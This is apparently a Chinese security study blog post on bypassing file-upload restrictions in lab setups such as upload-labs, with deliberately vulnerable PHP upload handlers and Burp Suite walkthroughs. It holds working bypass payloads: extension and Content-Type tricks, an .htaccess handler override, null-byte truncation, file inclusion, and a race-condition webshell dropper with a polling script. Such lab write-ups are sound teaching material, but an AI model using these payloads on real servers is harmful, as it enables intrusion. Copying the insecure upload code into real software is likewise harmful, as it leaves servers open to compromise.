文件上传绕过

本专栏是笔者的网络安全学习笔记,一面分享,同时作为笔记

前文链接

  1. WAMP/DVWA/sqli-labs 搭建
  2. burpsuite工具抓包及Intruder暴力破解的使用
  3. 目录扫描,请求重发,漏洞扫描等工具的使用
  4. 网站信息收集及nmap的下载使用
  5. SQL注入(1)——了解成因和手工注入方法
  6. SQL注入(2)——各种注入
  7. SQL注入(3)——SQLMAP
  8. SQL注入(4)——实战SQL注入拿webshell
  9. Vulnhub之Me and My Girlfriend
  10. XSS漏洞
  11. 文件上传漏洞

前言

这篇文章讲文件上传的绕过技巧

某些实例是通过upload-lab,可自行搭建

前端JS绕过

看代码
index.html

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>文件上传</title>
</head>
<body>
<form action="upload.php" method="post" enctype="multipart/form-data">
    请上传文件:
    <input type="file" name="file" id="file"><br>
    <input type="submit" value="提交">
</form>
<script>
    document.getElementsByTagName("form")[0].onsubmit=function () {
        var flag=false;
        var filename=document.getElementById('file').value;
        var white=['jpg','png','gif'];
        var suf=filename.substring(filename.lastIndexOf('.')+1);
        for (var i=0;i<white.length;i++){
            if (white[i]==suf){
                flag=true;
            }
        }
        if (!flag){
            alert("只允许上传后缀为 jpg , png , gif 的文件")
        }
        return flag;
    }
</script>
</body>
</html>

upload.php

<?php
    $path='./uploads';
    if (!is_dir($path)){
        mkdir($path);
    }
    if ($_FILES['file']['error']>0){
        echo "上传失败";
    }else{
        $name=$_FILES['file']['name'];
        move_uploaded_file($_FILES['file']['tmp_name'],"./uploads/".$name);
        echo "上传成功<br>保存位置:<a href='uploads/".$name."' target='_blank'>"."uploads/".$name."</a>";
    }
?>

当遇到这种情况,通过浏览器直接上传WebShell就不可行了

对于这种情况,我通常用的方法是抓包改后缀名。

上传图片马,用BurpSuite抓包


发送到重发器,在filename处把文件名后缀的png改为php

发送请求,上传成功
在这里插入图片描述

Content-Type检测

看代码
upload.php

<?php
$path = './uploads';
if (!is_dir($path)) {
    mkdir($path);
}
if ($_FILES['file']['error'] > 0) {
    echo "上传失败";
} else {
    $name = $_FILES['file']['name'];
    $type = $_FILES['file']['type'];
    $white = ['image/png', 'image/jpg', 'image/gif'];
    $flag = false;
    for ($i = 0; $i < count($white); $i++) {
        if ($white[$i] == $type) {
            $flag = true;
        }
    }
    if ($flag) {
        move_uploaded_file($_FILES['file']['tmp_name'], "./uploads/" . $name);
        echo "上传成功<br>保存位置:<a href='uploads/" . $name . "' target='_blank'>" . "uploads/" . $name . "</a>";
    } else {
        echo "不正确的文件类型";
    }
}
?>

上传WebShell,会提示不正确的文件类型。
在这里插入图片描述
绕过的方法也很简单,把 Content-Type 改为正确的内容

上传文件,bp抓包
在这里插入图片描述
此时文件的Content-Typeapplication/octet-stream,这是不能通过检测的。

Content-Type的内容改为image/jpg即可通过验证

在这里插入图片描述

黑名单

看代码

<?php
$path = './uploads';
if (!is_dir($path)) {
    mkdir($path);
}
if ($_FILES['file']['error'] > 0) {
    echo "上传失败";
} else {
    $name = $_FILES['file']['name'];
    $suffix=substr(strrchr($name, '.'), 1);
    $black=['php','asp','jsp','asa','aspx'];
    $flag = true;
    for ($i=0;$i<count($black);$i++){
        if ($black[$i]==$suffix){
            $flag=false;
        }
    }
    if ($flag) {
        move_uploaded_file($_FILES['file']['tmp_name'], "./uploads/" . $name);
        echo "上传成功<br>保存位置:<a href='uploads/" . $name . "' target='_blank'>" . "uploads/" . $name . "</a>";
    } else {
        echo "请上传图片文件";
    }
}
?>
?>

这个时候,改Content-Type已经没有用了,服务器端会查看用户上传的文件的后缀名,如果后缀名在黑名单中,就会返回错误。

黑名单的绕过核心就是尝试黑名单遗漏的后缀名,至于那个后缀名遗漏了,就要靠耐心和运气了

这里有很多种绕过的方法

开发者忽略的拓展名
在上面的实例中,我们可以找被系统遗漏,但仁能被服务器解析的后缀名,如php3
php文件的后缀可以是php3,php4,php5,phtml
asp文件的后缀可以使asa,cer
我们在上面的实例中,用bp抓包,将后缀改为php3,即可成功绕过
在这里插入图片描述
在这里插入图片描述
文件被成功解析

文件加点
在后缀名后面加点。因为Windows的文件会自动去除后面的点
在这里插入图片描述
在这里插入图片描述
末尾加空格
WIndows会自动去除空格
在这里插入图片描述
php后面有一个空格
在这里插入图片描述
末尾加::$DATA
WIndows会自动去掉::$DATA
在这里插入图片描述
在这里插入图片描述
上传.htaccess文件
htaccess 文件是 Apache 服务器中的一个配置文件,它负责相关目录下的网页配置

上传一个名为 .htaccess 的文件,内容为

SetHandler application/x-httpd-php

意为将所有的文件都当做php文件解析
在这里插入图片描述
再上传图片马,就会将图片马作为php文件解析
在这里插入图片描述
在这里插入图片描述
访问图片马,会发现图片马作为php文件解析了
在这里插入图片描述
大小写绕过
通过大小写可以绕过检测
在这里插入图片描述
在这里插入图片描述

白名单

看代码

<?php
$path = './uploads';
if (!is_dir($path)) {
    mkdir($path);
}
if ($_FILES['file']['error'] > 0) {
    echo "上传失败";
} else {
    $name = $_FILES['file']['name'];
    $suffix=substr(strrchr($name, '.'), 1);
    $white=['jpg','png','gif'];
    $flag = false;
    for ($i=0;$i<count($white);$i++){
        if ($white[$i]==$suffix){
            $flag=true;
        }
    }
    if ($flag) {
        move_uploaded_file($_FILES['file']['tmp_name'], "./uploads/" . $name);
        echo "上传成功<br>保存位置:<a href='uploads/" . $name . "' target='_blank'>" . "uploads/" . $name . "</a>";
    } else {
        echo "请上传图片文件";
    }
}
?>

前面扯了一大堆,我在实际渗透中一次都没见过(除了BEESCMS漏洞),最常见,也是最难绕过的,还是白名单。

绕过方法只有几种

截断(GET)
旧版的PHP(version<5.3.29 && magic_quotes_gpc=off),存在截断漏洞

%00后面的内容会被省略,从而成功上传php文件


在这里插入图片描述

截断(POST)
上一个实例,截断的参数是在get参数中,当截断的参数在post中时,就要采用不同的方法

在这里插入图片描述
在php的后面,还有一个空格
接下来打开hex进行编辑
在这里插入图片描述
找到截断的位置,将空格的20改为00
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
文件包含漏洞
文件包含漏洞在后面会详细讲,在这里演示用法

假如某网站存在文件包含漏洞,那可以用文件包含漏洞包含图片马,使图片马执行
include.php

<?php
header("Content-Type:text/html;charset=utf-8");
$file = $_GET['file'];
if(isset($file)){
    include $file;
}
?>

此时上传了图片马,位置为 /upload/2.png
在这里插入图片描述
访问include.php,设置参数file为图片马的地址
在这里插入图片描述
此时图片马的内容当做php代码解析
在这里插入图片描述
解析漏洞
服务器解析漏洞,可以看上一篇文章

条件竞争漏洞
看代码

if(isset($_POST['submit'])){
    $ext_arr = array('jpg','png','gif');
    $file_name = $_FILES['upload_file']['name'];
    $temp_file = $_FILES['upload_file']['tmp_name'];
    $file_ext = substr($file_name,strrpos($file_name,".")+1);
    $upload_file = UPLOAD_PATH . '/' . $file_name;

    if(move_uploaded_file($temp_file, $upload_file)){
        if(in_array($file_ext,$ext_arr)){
             $img_path = UPLOAD_PATH . '/'. rand(10, 99).date("YmdHis").".".$file_ext;
             rename($upload_file, $img_path);
             $is_upload = true;
        }else{
            $msg = "只允许上传.jpg|.png|.gif类型文件!";
            unlink($upload_file);
        }
    }else{
        $msg = '上传出错!';
    }
}

在这里,会先将文件保存,然后进行验证,如果验证不通过则删除文件

文件会在目录中有短暂的停留,可以在它停留时访问这个文件,生成一个WebShell文件。

1.php

<?php fputs(fopen('./shell.php','w'),'<?php @eval($_POST[manlu]); ?>'); ?>

文件上传位置:/upload/1.php
用bp的intruder模块不断上传这个文件
在这里插入图片描述

在这里插入图片描述
同时利用Python脚本进行快速访问
test.py

import requests
url='http://192.168.1.5/upload1/upload/1.php'
while True:
    r=requests.get(url)
    if r.status_code!=404:
        print("Success")
        break
    else:
        print('fail')

同时运行bp和Python脚本

当成功时
在这里插入图片描述
在这里插入图片描述

这个过程可能耗时很久,需要耐心等待

  • 4
    点赞
  • 7
    收藏
    觉得还不错? 一键收藏
  • 2
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值